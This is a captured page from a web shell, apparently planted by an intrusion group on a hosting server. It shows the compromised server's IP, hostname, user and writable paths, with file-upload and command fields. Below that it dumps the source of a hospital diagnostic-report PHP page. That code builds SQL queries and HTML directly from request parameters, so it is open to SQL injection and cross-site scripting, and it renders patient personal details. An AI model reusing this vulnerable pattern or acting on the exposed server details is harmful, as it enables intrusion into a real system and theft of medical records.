Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.143.204.48
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/creatediagnostic.php
	<?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';

include("dbconnection.php");
?>
     <?php
    include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
		$sql2 ="SELECT * FROM site_users WHERE entered_by='$re[entered_by]' AND usertype='Hospital'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    if(Hospital==$re1[usertype])
{
?>
	  <?php
	include 'dashboarddocument.php';
		?>
          <?php
}
}
		}
	?>
            <?php
    include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
		$sql2 ="SELECT * FROM site_users WHERE entered_by='$re[entered_by]' AND usertype='LABORATORY'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    if(LABORATORY==$re1[usertype])
{
?>

	  <?php
	include 'patient_menu.php';
		?>
          <?php
}
}
		}
	?>
		    
	


<?php session_start();
require_once("../patientmanager.php");
require_once("../DBManager.php");
include("dbconnection.php");
include("header.php");
if(isset($_POST[report]))
	{
		PatientManager::REPORTGenerated("$_GET[prescriptionid]","$_GET[patientid]","$_POST[requesttestid]","$_POST[Impression]","$_POST[Study_Reveals]","$_POST[Interpretation]","$_POST[marks_critical]","$_POST[entered_by]");
	 }
?>

	<?php 
	include("dbconnection.php");
		session_start();
$DisplayForm=True;
	$sql6 ="SELECT * FROM investigation WHERE  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' And Investigation_type='Radiology' AND id='$_GET[id]' AND Evidence!=''";
		$qsql6 = mysqli_query($con,$sql6);
		while($rs6 = mysqli_fetch_array($qsql6))
		{
		    $sql61 ="SELECT * FROM labreports WHERE requesttestid='$rs6[id]'";
		$qsql61 = mysqli_query($con,$sql61);
		if($rh1 = mysqli_fetch_array($qsql61))
		{
	$DisplayForm=False;
echo "<script>window.location='show_upatediagostic_report.php?prescriptionid=$rs6[prescriptionid]&patientid=$_GET[patientid]&id=$_GET[id]'</script>;</script>";
}
if($DisplayForm)
{

?> 


	<style>

.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}


.center {
   border: 1px solid grey;
   text-align:;
}
 </style>
	<style>

.center {
   border: 1px solid grey;
   text-align:;
}
 </style>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <form name="report" method="post">
      <h3 align='center'>Report</h3>
      <div class='center'>
          <?php
          $sql6 ="SELECT * FROM investigation WHERE   patientid='$_GET[patientid]' And Investigation_type='Radiology' AND id='$_GET[id]'";
		$qsql6 = mysqli_query($con,$sql6);
		if($rs6 = mysqli_fetch_array($qsql6))
		{
		    echo"<input type='hidden' name='requesttestid' value='$rs6[id]'>";
		}
		?>
            <table id='example2' class='table table-bordered table-hover' width='100%'><tr>
              <th>Patient Information</th></tr>
              </table>
                <table id='example2' class='table table-bordered table-hover' width='100%'>
                    <?php 

		$sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Full Name : </td>
<td width='50%'>$rs[patientname]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Phone : </td>
<td width='50%'>$rs[numbers]</td>
</tr>
<tr>
<td width='50%'> &nbsp;  &nbsp; &nbsp; &nbsp; DOB:  </td>
<td width='50%'>$rs[dob]</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Sex : </td>
<td width='50%'>$rs[gendor]</td>
</tr>

 ";
	  echo "</td></tr>";	}
		?>
	</table>	</div>
	<br><br>
		 <div class='center'>
	 	<table id='example2' class='table table-bordered table-hover'>
					 
					 	 	 	 <?php
					 	 	 	 session_start();
				include("dbconnection.php");
					$sql ="SELECT * FROM investigation WHERE   patientid='$_GET[patientid]' And Investigation_type='Radiology' AND id='$_GET[id]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   echo"<tr> <td width='100%'><img src='uploads/$rs[Evidence]' style='width: 50%;height: 100%;' ></td>
</tr>";
		}
		?>
	
			
	</table>
		</DIV>
		
		<br><br>
		 <div class='center'><table id='example2' class='table table-bordered table-hover'>
		      <tr><td width='50%'><span style="font-size: 20px">Critical</span></h3></td><td width='50%'><label class="switch">
  <input name="marks_critical" value='Yes' type="checkbox">
  <span class="slider"></span>
</label>
</td>
		  </tr>
		     	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Impression  : </td>
<td width='50%'><textarea  name='Impression'  rows="2" cols="80">

</textarea>
</td>
</tr>
	     	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Study Reveals  : </td>
<td width='50%'><textarea  name="Study_Reveals" rows="2" cols="80">

</textarea>
</td>
</tr>
	     	<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Interpretation : </td>
<td width='50%'><textarea  name="Interpretation" rows="2" cols="80">

</textarea>
</td>
</tr>
</table>
 <div class='checkbox'>
              <b>Note</b></div>
              <div class='checkbox'><ol type='1'><li>Kindly check expiry date, MRP and batch number before leaving the counter</li>
<li>Return of medicine will be done as per return policy displayed on counter</li>
<li>Billing include taxes</li>
<li>Please carry the original slip, at the time of return of medicine.</li>
</ol>
		     
		     
		   
		     </div>
		     <input type='Submit' name='report' value='Submit'>
		       
		     <br>
		     </div>
 </form>
 <?php
}
}
?>
		

Anon7 - 2022
AnonSec Team